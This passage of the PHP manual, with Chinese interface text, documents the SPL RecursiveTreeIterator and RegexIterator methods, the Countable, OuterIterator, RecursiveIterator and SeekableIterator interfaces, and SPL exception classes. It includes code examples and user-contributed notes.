此函数没有参数。

返回值

Returns the string to place after the current element.

User Contributed Notes

There are no user contributed notes for this page.


Get the prefix

  • ? RecursiveTreeIterator::getPostfix
  • RecursiveTreeIterator::key ?
  • PHP Manual
  • RecursiveTreeIterator
  • Get the prefix

RecursiveTreeIterator::getPrefix

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::getPrefix — Get the prefix

说明

public RecursiveTreeIterator::getPrefix(): string

Gets the string to place in front of current element

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns the string to place in front of current element

User Contributed Notes

There are no user contributed notes for this page.


Get the key of the current element

  • ? RecursiveTreeIterator::getPrefix
  • RecursiveTreeIterator::next ?
  • PHP Manual
  • RecursiveTreeIterator
  • Get the key of the current element

RecursiveTreeIterator::key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::key — Get the key of the current element

说明

public RecursiveTreeIterator::key(): mixed

Gets the current key prefixed and postfixed.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns the current key prefixed and postfixed.

User Contributed Notes

There are no user contributed notes for this page.


Move to next element

  • ? RecursiveTreeIterator::key
  • RecursiveTreeIterator::nextElement ?
  • PHP Manual
  • RecursiveTreeIterator
  • Move to next element

RecursiveTreeIterator::next

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::next — Move to next element

说明

public RecursiveTreeIterator::next(): void

Moves forward to the next element.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Next element

  • ? RecursiveTreeIterator::next
  • RecursiveTreeIterator::rewind ?
  • PHP Manual
  • RecursiveTreeIterator
  • Next element

RecursiveTreeIterator::nextElement

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::nextElement — Next element

说明

public RecursiveTreeIterator::nextElement(): void

Called when the next element is available.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Rewind iterator

  • ? RecursiveTreeIterator::nextElement
  • RecursiveTreeIterator::setPostfix ?
  • PHP Manual
  • RecursiveTreeIterator
  • Rewind iterator

RecursiveTreeIterator::rewind

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::rewind — Rewind iterator

说明

public RecursiveTreeIterator::rewind(): void

Rewinds the iterator to the first element of the top level inner iterator.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Set postfix

  • ? RecursiveTreeIterator::rewind
  • RecursiveTreeIterator::setPrefixPart ?
  • PHP Manual
  • RecursiveTreeIterator
  • Set postfix

RecursiveTreeIterator::setPostfix

(PHP 5 >= 5.5.3, PHP 7, PHP 8)

RecursiveTreeIterator::setPostfix — Set postfix

说明

public RecursiveTreeIterator::setPostfix(string $postfix): void

Sets postfix as used in RecursiveTreeIterator::getPostfix().

Warning

本函数还未编写文档，仅有参数列表。

参数

postfix

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Set a part of the prefix

  • ? RecursiveTreeIterator::setPostfix
  • RecursiveTreeIterator::valid ?
  • PHP Manual
  • RecursiveTreeIterator
  • Set a part of the prefix

RecursiveTreeIterator::setPrefixPart

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::setPrefixPart — Set a part of the prefix

说明

public RecursiveTreeIterator::setPrefixPart(int $part, string $value): void

Sets a part of the prefix used in the graphic tree.

Warning

本函数还未编写文档，仅有参数列表。

参数

part

One of the RecursiveTreeIterator::PREFIX_* constants.

value

The value to assign to the part of the prefix specified in part.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Check validity

  • ? RecursiveTreeIterator::setPrefixPart
  • RegexIterator ?
  • PHP Manual
  • RecursiveTreeIterator
  • Check validity

RecursiveTreeIterator::valid

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::valid — Check validity

说明

public RecursiveTreeIterator::valid(): bool

Check whether the current position is valid.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

true if the current position is valid, otherwise false

User Contributed Notes

There are no user contributed notes for this page.


The RegexIterator class

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

简介

This iterator can be used to filter another iterator based on a regular expression.

类摘要

class RegexIterator extends FilterIterator {
/* 常量 */
public const int USE_KEY;
public const int INVERT_MATCH;
public const int MATCH;
public const int GET_MATCH;
public const int ALL_MATCHES;
public const int SPLIT;
public const int REPLACE;
/* 属性 */
public ?string $replacement = null;
/* 方法 */
public __construct(
Iterator $iterator,
string $pattern,
int $mode = RegexIterator::MATCH,
int $flags = 0,
int $pregFlags = 0
)
public accept(): bool
public getFlags(): int
public getMode(): int
public getPregFlags(): int
public getRegex(): string
public setFlags(int $flags): void
public setMode(int $mode): void
public setPregFlags(int $pregFlags): void
/* 继承的方法 */
public FilterIterator::accept(): bool
public FilterIterator::current(): mixed
public FilterIterator::key(): mixed
public FilterIterator::next(): void
public FilterIterator::rewind(): void
public FilterIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

预定义常量

RegexIterator operation modes

RegexIterator::ALL_MATCHES

Return all matches for the current entry (see preg_match_all()).

RegexIterator::GET_MATCH

Return the first match for the current entry (see preg_match()).

RegexIterator::MATCH

Only execute match (filter) for the current entry (see preg_match()).

RegexIterator::REPLACE

Replace the current entry (see preg_replace(); Not fully implemented yet)

RegexIterator::SPLIT

Returns the split values for the current entry (see preg_split()).

RegexIterator Flags

RegexIterator::USE_KEY

Special flag: Match the entry key instead of the entry value.

RegexIterator::INVERT_MATCH

Inverts the return value of RegexIterator::accept().

属性

replacement

Table of Contents

  • RegexIterator::accept — Get accept status
  • RegexIterator::__construct — Create a new RegexIterator
  • RegexIterator::getFlags — Get flags
  • RegexIterator::getMode — Returns operation mode
  • RegexIterator::getPregFlags — Returns the regular expression flags
  • RegexIterator::getRegex — Returns current regular expression
  • RegexIterator::setFlags — Sets the flags
  • RegexIterator::setMode — Sets the operation mode
  • RegexIterator::setPregFlags — Sets the regular expression flags

User Contributed Notes

chris dot snyder at totara dot com 06-Jan-2023 06:29
In case the difference between modes RegexIterator::MATCH and RegexIterator::GET_MATCH is not immediately clear:

MATCH will only return one value per matched element, as a string.

GET_MATCH will return as many values, per matched element, as there are sub-patterns. If there are sub-patterns, each iteration returns an indexed array with the full pattern match at 0 and each of the sub-pattern matches as another element.

If there are no sub-patterns, the behaviour of GET_MATCH is the same as MATCH.
jinmoku at hotmail dot com 10-Dec-2010 12:28
An exemple :

<?php
$a = new ArrayIterator(array('test1', 'test2', 'test3'));
$i = new RegexIterator($a, '/^(test)(\d+)/', RegexIterator::REPLACE);
$i->replacement = '$2:$1';

print_r(iterator_to_array($i));
/*
Array
(
    [0] => 1:test
    [1] => 2:test
    [2] => 3:test
)
*/
?>


Get accept status

  • ? RegexIterator
  • RegexIterator::__construct ?
  • PHP Manual
  • RegexIterator
  • Get accept status

RegexIterator::accept

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::accept — Get accept status

说明

public RegexIterator::accept(): bool

Matches (string) RegexIterator::current()
(or RegexIterator::key() if the
RegexIterator::USE_KEY flag is set)
against the regular expression.

参数

此函数没有参数。

返回值

true if a match, false otherwise.

示例

Example #1 RegexIterator::accept() example

This example shows that only items matching the regular expression are accepted.

<?php
$names = new ArrayIterator(array('Ann', 'Bob', 'Charlie', 'David'));
$filter = new RegexIterator($names, '/^[B-D]/');
foreach ($filter as $name) {
echo $name . PHP_EOL;
}
?>

以上示例会输出：

Bob
Charlie
David

参见

  • RegexIterator constants
  • RegexIterator::setFlags() - Sets the flags

User Contributed Notes

There are no user contributed notes for this page.


Create a new RegexIterator

  • ? RegexIterator::accept
  • RegexIterator::getFlags ?
  • PHP Manual
  • RegexIterator
  • Create a new RegexIterator

RegexIterator::__construct

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::__construct — Create a new RegexIterator

说明

public RegexIterator::__construct(
Iterator $iterator,
string $pattern,
int $mode = RegexIterator::MATCH,
int $flags = 0,
int $pregFlags = 0
)

Create a new RegexIterator which filters an Iterator using a regular expression.

参数

iterator

The iterator to apply this regex filter to.

pattern

The regular expression to match.

mode

Operation mode, see RegexIterator::setMode() for a list of modes.

flags

Special flags, see RegexIterator::setFlags() for a list of available flags.

pregFlags

The regular expression flags. These flags depend on the operation mode parameter:

RegexIterator preg_flags
operation mode | available flags
RegexIterator::ALL_MATCHES | See preg_match_all().
RegexIterator::GET_MATCH | See preg_match().
RegexIterator::MATCH | See preg_match().
RegexIterator::REPLACE | none.
RegexIterator::SPLIT | See preg_split().

错误／异常

Throws an InvalidArgumentException if the pattern argument is invalid.

示例

Example #1 RegexIterator::__construct() example

Creates a new RegexIterator that filters all strings that start with 'test'.

<?php
$arrayIterator = new ArrayIterator(array('test 1', 'another test', 'test 123'));
$regexIterator = new RegexIterator($arrayIterator, '/^test/');

foreach ($regexIterator as $value) {
echo $value . "\n";
}
?>

以上示例的输出类似于：

test 1
test 123

参见

  • preg_match() - 执行匹配正则表达式
  • preg_match_all() - 执行一个全局正则表达式匹配
  • preg_replace() - 执行一个正则表达式的搜索和替换
  • preg_split() - 通过一个正则表达式分隔字符串

User Contributed Notes

There are no user contributed notes for this page.


Get flags

  • ? RegexIterator::__construct
  • RegexIterator::getMode ?
  • PHP Manual
  • RegexIterator
  • Get flags

RegexIterator::getFlags

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::getFlags — Get flags

说明

public RegexIterator::getFlags(): int

Returns the flags, see RegexIterator::setFlags() for a list of available flags.

参数

此函数没有参数。

返回值

Returns the set flags.

示例

Example #1 RegexIterator::getFlags() example

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/');
$regexIterator->setFlags(RegexIterator::USE_KEY);

if ($regexIterator->getFlags() & RegexIterator::USE_KEY) {
echo 'Filtering based on the array keys.';
} else {
echo 'Filtering based on the array values.';
}
?>

以上示例会输出：

Filtering based on the array keys.

参见

  • RegexIterator::setFlags() - Sets the flags

User Contributed Notes

There are no user contributed notes for this page.


Returns operation mode

  • ? RegexIterator::getFlags
  • RegexIterator::getPregFlags ?
  • PHP Manual
  • RegexIterator
  • Returns operation mode

RegexIterator::getMode

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::getMode — Returns operation mode

说明

public RegexIterator::getMode(): int

Returns the operation mode, see RegexIterator::setMode() for the list of operation modes.

参数

此函数没有参数。

返回值

Returns the operation mode.

示例

Example #1 RegexIterator::getMode() example

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^[a-z]+/', RegexIterator::GET_MATCH);

$mode = $regexIterator->getMode();
if ($mode & RegexIterator::GET_MATCH) {
echo 'Getting the match for each item.';
} elseif ($mode & RegexIterator::ALL_MATCHES) {
echo 'Getting all matches for each item.';
} elseif ($mode & RegexIterator::MATCH) {
echo 'Getting each item if it matches.';
} elseif ($mode & RegexIterator::SPLIT) {
echo 'Getting split pieces of each.';
}
?>

以上示例会输出：

Getting the match for each item.

参见

  • RegexIterator::setMode() - Sets the operation mode

User Contributed Notes

There are no user contributed notes for this page.


Returns the regular expression flags

  • ? RegexIterator::getMode
  • RegexIterator::getRegex ?
  • PHP Manual
  • RegexIterator
  • Returns the regular expression flags

RegexIterator::getPregFlags

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::getPregFlags — Returns the regular expression flags

说明

public RegexIterator::getPregFlags(): int

Returns the regular expression flags, see RegexIterator::__construct() for the list of flags.

参数

此函数没有参数。

返回值

Returns a bitmask of the regular expression flags.

示例

Example #1 RegexIterator::getPregFlags() example

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/\s/', RegexIterator::SPLIT);
$regexIterator->setPregFlags(PREG_SPLIT_NO_EMPTY | PREG_SPLIT_OFFSET_CAPTURE);

if ($regexIterator->getPregFlags() & PREG_SPLIT_NO_EMPTY) {
echo 'Ignoring empty pieces';
} else {
echo 'Not ignoring empty pieces';
}

?>

以上示例会输出：

Ignoring empty pieces

参见

  • RegexIterator::setPregFlags() - Sets the regular expression flags

User Contributed Notes

There are no user contributed notes for this page.


Returns current regular expression

  • ? RegexIterator::getPregFlags
  • RegexIterator::setFlags ?
  • PHP Manual
  • RegexIterator
  • Returns current regular expression

RegexIterator::getRegex

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

RegexIterator::getRegex — Returns current regular expression

说明

public RegexIterator::getRegex(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Sets the flags

  • ? RegexIterator::getRegex
  • RegexIterator::setMode ?
  • PHP Manual
  • RegexIterator
  • Sets the flags

RegexIterator::setFlags

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::setFlags — Sets the flags

说明

public RegexIterator::setFlags(int $flags): void

Sets the flags.

参数

flags

The flags to set, a bitmask of class constants.

The available flags are listed below. The actual meanings of these flags are described in the predefined constants.

RegexIterator flags
value | constant
1 | RegexIterator::USE_KEY

返回值

没有返回值。

示例

Example #1 RegexIterator::setFlags() example

Creates a new RegexIterator that filters all entries whose key starts with 'test'.

<?php
$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/');
$regexIterator->setFlags(RegexIterator::USE_KEY);

foreach ($regexIterator as $key => $value) {
echo $key . ' => ' . $value . "\n";
}
?>

以上示例会输出：

teststr2 => another test

参见

  • RegexIterator::getFlags() - Get flags

User Contributed Notes

There are no user contributed notes for this page.


Sets the operation mode

  • ? RegexIterator::setFlags
  • RegexIterator::setPregFlags ?
  • PHP Manual
  • RegexIterator
  • Sets the operation mode

RegexIterator::setMode

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::setMode — Sets the operation mode

说明

public RegexIterator::setMode(int $mode): void

Sets the operation mode.

参数

mode

The operation mode.

The available modes are listed below. The actual meanings of these modes are described in the predefined constants.

RegexIterator modes
value | constant
0 | RegexIterator::MATCH
1 | RegexIterator::GET_MATCH
2 | RegexIterator::ALL_MATCHES
3 | RegexIterator::SPLIT
4 | RegexIterator::REPLACE

返回值

没有返回值。

示例

Example #1 RegexIterator::setMode() example

<?php
$test = array ('str1' => 'test 1', 'test str2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
// Filter everything that starts with 'test ' followed by one or more numbers.
$regexIterator = new RegexIterator($arrayIterator, '/^test (\d+)/');
// Operation mode: Replace actual value with the matches
$regexIterator->setMode(RegexIterator::GET_MATCH);

foreach ($regexIterator as $key => $value) {
// print out the matched number(s)
echo $key . ' => ' . $value[1] . PHP_EOL;
}
?>

以上示例的输出类似于：

str1 => 1
str3 => 123

参见

  • RegexIterator::getMode() - Returns operation mode

User Contributed Notes

There are no user contributed notes for this page.


Sets the regular expression flags

  • ? RegexIterator::setMode
  • 接口 ?
  • PHP Manual
  • RegexIterator
  • Sets the regular expression flags

RegexIterator::setPregFlags

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::setPregFlags — Sets the regular expression flags

说明

public RegexIterator::setPregFlags(int $pregFlags): void

Sets the regular expression flags.

参数

pregFlags

The regular expression flags. See RegexIterator::__construct() for an overview of available flags.

返回值

没有返回值。

示例

Example #1 RegexIterator::setPregFlags() example

Creates a new RegexIterator that filters all entries with where the array key starts with 'test'.

<?php
$test = array ('test 1', 'another test', 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/', RegexIterator::GET_MATCH);

$regexIterator->setPregFlags(PREG_OFFSET_CAPTURE);

foreach ($regexIterator as $key => $value) {
var_dump($value);
}
?>

以上示例的输出类似于：

array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(4) "test"
    [1]=>
    int(0)
  }
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(4) "test"
    [1]=>
    int(0)
  }
}

参见

  • RegexIterator::getPregFlags() - Returns the regular expression flags

User Contributed Notes

There are no user contributed notes for this page.


接口

Table of Contents

  • Countable
  • OuterIterator
  • RecursiveIterator
  • SeekableIterator

SPL 提供一系列接口。

可参考预定义接口和类。

接口列表

  • Countable
  • OuterIterator
  • RecursiveIterator
  • SeekableIterator
  • SplObserver
  • SplSubject

User Contributed Notes

There are no user contributed notes for this page.


Countable 接口

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

类实现 Countable 可被用于 count() 函数.

接口摘要

interface Countable {
/* 方法 */
public count(): int
}

Table of Contents

  • Countable::count — 统计对象的元素个数

User Contributed Notes

adam at adamhahn dot com 22-Mar-2017 07:02
When using GMP/BC/Floating-Point Numbers to work with integers larger than PHP_INT_MAX, be aware that using the count() function will typecast the returned value to an integer.

<?php
class counter implements Countable {
    public function count() {
        // Number of IPv6 addresses in a single /32 IPv6 allocation (2^96)
        return "18446744073709551616"; // assume generated/exported by big-int library(GMP/BC/etc.)
    }
}

$obj = new counter();

echo $obj->count(); // prints string "18446744073709551616"
echo count($obj);    // prints int PHP_INT_MAX

// This is because of the typecasting
echo (int) "18446744073709551616"; // prints int PHP_INT_MAX
?>

This will also cause problems for floating-point values.

<?php
class counter implements Countable {
    public function count() {
        // Number of IPv6 addresses in a single /32 IPv6 allocation (2^96)
        return 18446744073709551616;
    }
}

$obj = new counter();

echo $obj->count(); // prints float 18446744073709551616.000000
echo count($obj);    // prints int 0

// This is because of the typecasting
echo (int) 18446744073709551616; // prints int 0
?>

This is only problematic when counting higher than PHP_INT_MAX.
Anonymous 17-Jan-2011 06:10
Note that arrays don't implement countable. Therefore you can't force a countable parameter for a function if you want it also to work with native arrays.
isaac dot z dot foster dot nada at spamporfav dot gmail dot com 08-Jun-2010 01:18
I just want to point out that your class has to actually implement the Countable interface, not just define a count method, to be able to use count($object) and get the expected results. I.e. the first example below won't work as expected, the second will. (The normal arrow function accessor ($object->count()) will work fine, but that's not the kewl part :) )

<?php
//Example One, BAD :(

class CountMe
{

    protected $_myCount = 3;

    public function count()
    {
        return $this->_myCount;
    }

}

$countable = new CountMe();
echo count($countable); //result is "1", not as expected

//Example Two, GOOD :)

class CountMe implements Countable
{

    protected $_myCount = 3;

    public function count()
    {
        return $this->_myCount;
    }

}

$countable = new CountMe();
echo count($countable); //result is "3" as expected
?>


统计对象的元素个数

  • ? Countable
  • OuterIterator ?
  • PHP Manual
  • Countable
  • 统计对象的元素个数

Countable::count

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Countable::count — 统计对象的元素个数

说明

public Countable::count(): int

当在实现了 Countable 的对象上执行 count() 函数时，会执行此方法。

参数

此函数没有参数。

返回值

int 形式的自定义计数。

Note:

返回值强制转换为 int。

示例

Example #1 Countable::count() 示例

<?php
class myCounter implements Countable {
private $count = 0;
public function count() {
return ++$this->count;
}
}

$counter = new myCounter;

for($i=0; $i<10; ++$i) {
echo "I have been count()ed " . count($counter) . " times\n";
}
?>

以上示例的输出类似于：

I have been count()ed 1 times
I have been count()ed 2 times
I have been count()ed 3 times
I have been count()ed 4 times
I have been count()ed 5 times
I have been count()ed 6 times
I have been count()ed 7 times
I have been count()ed 8 times
I have been count()ed 9 times
I have been count()ed 10 times

User Contributed Notes

SenseException 10-Mar-2014 11:59
Even though Countable::count method is called when the object implementing Countable is used in count() function, the second parameter of count, $mode, has no influence to your class method.

$mode is not passed to  Countable::count:

<?php

class Foo implements Countable
{
    public function count()
    {
        var_dump(func_get_args());
        return 1;
    }
}

count(new Foo(), COUNT_RECURSIVE);

?>

var_dump output:

array(0) {
}


The OuterIterator interface

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Classes implementing OuterIterator can be used to iterate over iterators.

接口摘要

interface OuterIterator extends Iterator {
/* 方法 */
public getInnerIterator(): ?Iterator
/* 继承的方法 */
public Iterator::current(): mixed
public Iterator::key(): mixed
public Iterator::next(): void
public Iterator::rewind(): void
public Iterator::valid(): bool
}

Table of Contents

  • OuterIterator::getInnerIterator — Returns the inner iterator for the current entry

User Contributed Notes

There are no user contributed notes for this page.


Returns the inner iterator for the current entry

  • ? OuterIterator
  • RecursiveIterator ?
  • PHP Manual
  • OuterIterator
  • Returns the inner iterator for the current entry

OuterIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

OuterIterator::getInnerIterator — Returns the inner iterator for the current entry

说明

public OuterIterator::getInnerIterator(): ?Iterator

Returns the inner iterator for the current iterator entry.

参数

此函数没有参数。

返回值

Returns the inner iterator for the current entry if it exists, or null otherwise.

User Contributed Notes

Sjakie Pruts 07-Aug-2019 12:49
The return type is merely documented here, it's not actually enforced. For instance, the IteratorIterator implementation can return Traversable, which would break the interface. Most likely, this is for backwards compatibility with code written before return type hints existed. It's still possible to create your own namespaced OuterIterator interface that extends the global one and add a typehint for this method in there.


The RecursiveIterator interface

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Classes implementing RecursiveIterator can be used to iterate over iterators recursively.

接口摘要

interface RecursiveIterator extends Iterator {
/* 方法 */
public getChildren(): ?RecursiveIterator
public hasChildren(): bool
/* 继承的方法 */
public Iterator::current(): mixed
public Iterator::key(): mixed
public Iterator::next(): void
public Iterator::rewind(): void
public Iterator::valid(): bool
}

Table of Contents

  • RecursiveIterator::getChildren — Returns an iterator for the current entry
  • RecursiveIterator::hasChildren — Returns if an iterator can be created for the current entry

User Contributed Notes

There are no user contributed notes for this page.


Returns an iterator for the current entry

  • ? RecursiveIterator
  • RecursiveIterator::hasChildren ?
  • PHP Manual
  • RecursiveIterator
  • Returns an iterator for the current entry

RecursiveIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIterator::getChildren — Returns an iterator for the current entry

说明

public RecursiveIterator::getChildren(): ?RecursiveIterator

Returns an iterator for the current iterator entry.

参数

此函数没有参数。

返回值

Returns an iterator for the current entry if it exists, or null otherwise.

参见

  • RecursiveIterator::hasChildren() - Returns if an iterator can be created for the current entry

User Contributed Notes

There are no user contributed notes for this page.


Returns if an iterator can be created for the current entry

  • ? RecursiveIterator::getChildren
  • SeekableIterator ?
  • PHP Manual
  • RecursiveIterator
  • Returns if an iterator can be created for the current entry

RecursiveIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIterator::hasChildren — Returns if an iterator can be created for the current entry

说明

public RecursiveIterator::hasChildren(): bool

Returns if an iterator can be created for the current entry. RecursiveIterator::getChildren().

参数

此函数没有参数。

返回值

Returns true if the current entry can be iterated over, otherwise returns false.

参见

  • RecursiveIterator::getChildren() - Returns an iterator for the current entry

User Contributed Notes

There are no user contributed notes for this page.


SeekableIterator 接口

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Seekable 迭代器。

接口摘要

interface SeekableIterator extends Iterator {
/* 方法 */
public seek(int $offset): void
/* 继承的方法 */
public Iterator::current(): mixed
public Iterator::key(): mixed
public Iterator::next(): void
public Iterator::rewind(): void
public Iterator::valid(): bool
}

Example #1 基础用法

本示例演示了如何创建自定义 SeekableIterator、查找位置和处理无效位置。

<?php
class MySeekableIterator implements SeekableIterator {

private $position;

private $array = array(
"first element",
"second element",
"third element",
"fourth element"
);

/* SeekableIterator 接口所需的方法 */

public function seek($position) {
if (!isset($this->array[$position])) {
throw new OutOfBoundsException("invalid seek position ($position)");
}

$this->position = $position;
}

/* Iterator 接口所需的方法 */

public function rewind() {
$this->position = 0;
}

public function current() {
return $this->array[$this->position];
}

public function key() {
return $this->position;
}

public function next() {
++$this->position;
}

public function valid() {
return isset($this->array[$this->position]);
}
}

try {

$it = new MySeekableIterator;
echo $it->current(), "\n";

$it->seek(2);
echo $it->current(), "\n";

$it->seek(1);
echo $it->current(), "\n";

$it->seek(10);

} catch (OutOfBoundsException $e) {
echo $e->getMessage();
}
?>

以上示例的输出类似于：

first element
third element
second element
invalid seek position (10)

Table of Contents

  • SeekableIterator::seek — Seeks to a position

User Contributed Notes

info at ensostudio dot ru 18-Jul-2022 07:30
Note: $offset parameter of SeekableIterator::seek()  is position in list, not array key.
<?php
$iterator = new ArrayIterator([1 => "apple", 2 => "banana", 3 => "cherry"]);
echo $iterator->offsetGet(2); // banana
$iterator->seek(2);
echo $iterator->current(); // cherry
?>
info at ensostudio dot ru 20-Oct-2020 07:20
Note: use array_key_exists instead isset!
<?php
public function seek($position)
{
    $position = (int) $position;
    if (! array_key_exists($position, array_values($this->array))) {
        throw new OutOfBoundsException('Invalid position to seek: ' . $position);
    }
    $this->position = $position;
}
?>
Anonymous 20-Oct-2013 12:43
The code above is missing a closing parenthesis.

<?php
if (!isset($this->array[$position]) {
          throw new OutOfBoundsException("invalid seek position ($position)");
}
?>

should be

<?php
if (!isset($this->array[$position])) { // close here
          throw new OutOfBoundsException("invalid seek position ($position)");
}
?>
svenr at selfhtml dot org 14-Nov-2011 04:21
Best method:

<?php

if ($object instanceof SeekableIterator) {
  echo "\$object has method seek()";
}

?>

Please, make use of checking if a particular interface has been implemented to assure that the object you are dealing with definately has the methods you are about to use.

This also works as typehinting:

<?php

class foo {
  public function doSomeSeeking(SeekableIterator $seekMe) {
    $seekMe->seek(10); // will work, otherwise Typehint triggers complaints
  }
}

?>
martin at smasty dot net 15-May-2011 08:01
The reflection approach:

<?php

$reflection = new ReflectionClass('MySeekableIterator');
if($reflection->hasMethod('seek'))
  echo "This class has method seek().";

?>
marcin dot kleczek at gmail dot com 15-Apr-2010 11:59
Better method:

<?php
            $class = 'SeekableIterator';
            $findingMethod = 'seek'; // have to be lower chars

            $methods = get_class_methods($class);

            foreach( $methods as $pVal )
                if ( $findingMethod == strtolower($pVal) ) {
                    echo 'This class has method seek().';
                    break;
                }

}

?>

Best method: http://php.net/manual/en/function.method-exists.php


Seeks to a position

  • ? SeekableIterator
  • 异常 ?
  • PHP Manual
  • SeekableIterator
  • Seeks to a position

SeekableIterator::seek

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SeekableIterator::seek — Seeks to a position

说明

public SeekableIterator::seek(int $offset): void

Seeks to a given position in the iterator.

参数

offset

The position to seek to.

返回值

没有返回值。

错误／异常

Implementations should throw an OutOfBoundsException if the offset is not seekable.

示例

Example #1 SeekableIterator::seek() example

Seek to the item at position 3 in the iterator (ArrayIterator implements SeekableIterator).

<?php
$array = array("apple", "banana", "cherry", "damson", "elderberry");
$iterator = new ArrayIterator($array);
$iterator->seek(3);
echo $iterator->current();
?>

以上示例的输出类似于：

damson

参见

  • SeekableIterator
  • Iterator

User Contributed Notes

There are no user contributed notes for this page.


异常

Table of Contents

  • BadFunctionCallException
  • BadMethodCallException
  • DomainException
  • InvalidArgumentException
  • LengthException
  • LogicException
  • OutOfBoundsException
  • OutOfRangeException
  • OverflowException
  • RangeException
  • RuntimeException
  • UnderflowException
  • UnexpectedValueException

SPL 提供一系列标准异常。

可参考预定义异常。

SPL Exceptions Class Tree

  • LogicException (extends Exception)
    • BadFunctionCallException
      • BadMethodCallException
    • DomainException
    • InvalidArgumentException
    • LengthException
    • OutOfRangeException
  • RuntimeException (extends Exception)
    • OutOfBoundsException
    • OverflowException
    • RangeException
    • UnderflowException
    • UnexpectedValueException

User Contributed Notes

There are no user contributed notes for this page.


The BadFunctionCallException class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Exception thrown if a callback refers to an undefined function or if some arguments are missing.

类摘要

class BadFunctionCallException extends LogicException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

evguenia dot chagnon at gmail dot com 26-Jan-2017 12:14
For example:

function foo($arg) {
    $func = 'do' . $arg;
    if (!is_callable($func)) {
        throw new BadFunctionCallException('Function ' . $func . ' is not callable');
    }
}
tom at tomwardrop dot com 15-Nov-2009 07:42
A typical use for this exception, is in conjunction with the is_callable() function.


BadMethodCallException 类

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

当 callback 指向未定义的方法或缺失一些参数时会抛出该异常。

类摘要

class BadMethodCallException extends BadFunctionCallException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


